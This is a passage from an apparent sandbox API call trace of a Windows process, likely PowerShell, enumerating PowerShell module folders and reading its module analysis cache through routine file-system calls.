nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.805] FindNextFileW (in: hFindFile=0x550540, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0169.805] FindNextFileW (in: hFindFile=0x550540, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0169.805] FindNextFileW (in: hFindFile=0x550540, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.805] FindClose (in: hFindFile=0x550540 | out: hFindFile=0x550540) returned 1 [0169.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e754) returned 1 [0169.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9b4) returned 1 [0169.813] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0169.813] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0169.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0169.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0169.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0169.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0169.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0169.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0169.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0169.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0169.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0169.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0169.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0169.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0169.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9e4) returned 1 [0169.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0169.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0169.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5a8e794 | out: lpFindFileData=0x5a8e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x550540 [0169.817] FindNextFileW (in: hFindFile=0x550540, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.817] FindNextFileW (in: hFindFile=0x550540, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0169.817] FindNextFileW (in: hFindFile=0x550540, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.818] FindClose (in: hFindFile=0x550540 | out: hFindFile=0x550540) returned 1 [0169.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e754) returned 1 [0169.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9b4) returned 1 [0169.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e738) returned 1 [0169.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9fc | out: lpFileInformation=0x5a8e9fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e734) returned 1 [0169.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e75c) returned 1 [0169.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x267a294 | out: lpFileInformation=0x267a294*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e758) returned 1 [0169.960] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x5a8d9b4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0169.960] CoTaskMemAlloc (cb=0x20c) returned 0x5a1bf0 [0169.960] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5a1bf0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0169.960] CoTaskMemFree (pv=0x5a1bf0) [0169.960] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x21 [0169.961] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x21, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0169.963] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0170.070] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0170.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0170.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e1b0) returned 1 [0170.071] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc [0170.071] GetFileType (hFile=0x3dc) returned 0x1 [0170.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e1ac) returned 1 [0170.072] GetFileType (hFile=0x3dc) returned 0x1 [0170.073] ReadFile (in: hFile=0x3dc, lpBuffer=0x267b43c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e224, lpOverlapped=0x0 | out: lpBuffer=0x267b43c*, lpNumberOfBytesRead=0x5a8e224*=0x1000, lpOverlapped=0x0) returned 1 [0170.100] ReadFile (in: hFile=0x3dc, lpBuffer=0x267b00b, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x5a8e22c, lpOverlapped=0x0 | out: lpBuffer=0x267b00b*, lpNumberOfBytesRead=0x5a8e22c*=0x1, lpOverlapped=0x0) returned 1 [0170.100] ReadFile (in: hFile=0x3dc, lpBuffer=0x267b43c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e218, lpOverlapped=0x0 | out: lpBuffer=0x267b43c*, lpNumberOfBytesRead=0x5a8e218*=0x1000, lpOverlapped=0x0) returned 1 [0170.102] ReadFile (in: hFile=0x3dc, lpBuffer=0x267b009, nNumberOfBytesToRead=0x13, lpNumberOfBytesRead=0x5a8e22c, lpOverlapped=0x0 | out: lpBuffer=0x267b009*, lpNumberOfBytesRead=0x5a8e22c*=0x13, lpOverlapped=0x0) returned 1 [0170.102] ReadFile (in: hFile=0x3dc, lpBuffer=0x267b43c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e22c, lpOverlapped=0x0 | out: lpBuffer=0x267b43c*, lpNumberOfBytesRead=0x5a8e22c*=0x1000, lpOverlapped=0x0) returned 1 [0170.180] ReadFile (in: hFile=0x3dc, lpBuffer=0x267b43c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e22c, lpOverlapped=0x0 | out: lpBuffer=0x267b43c*, lpNumberOfBytesRead=0x5a8e22c*=0x4fd, lpOverlapped=0x0) returned 1 [0170.190] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x5a8e034, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0170.291] CloseHandle (hObject=0x3dc) returned 1 [0170.294] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0170.294] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0170.294] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0170.294] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0170.295] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0170.295] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0170.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9e4) returned 1 [0170.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0170.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0170.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5a8e794 | out: lpFindFileData=0x5a8e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x550580 [0170.296] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.296] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.297] FindNextFileW (in: hFindFile=0x550580, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.297] FindClose (in: hFindFile=0x550580 | out: hFindFile=0x550580) returned 1 [0170.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e754) returned 1 [0170.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9b4) returned 1 [0170.297] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.298] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e738) returned 1 [0170.298] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9fc | out: lpFileInformation=0x5a8e9fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e734) returned 1 [0170.299] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.299] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.299] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.299] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e75c) returned 1 [0170.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x268d4f8 | out: lpFileInformation=0x268d4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e758) returned 1 [0170.300] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0170.300] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0170.300] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0170.301] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0170.301] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0170.302] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0170.309] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0170.336] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0170.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9e4) returned 1 [0170.401] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0170.401] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", 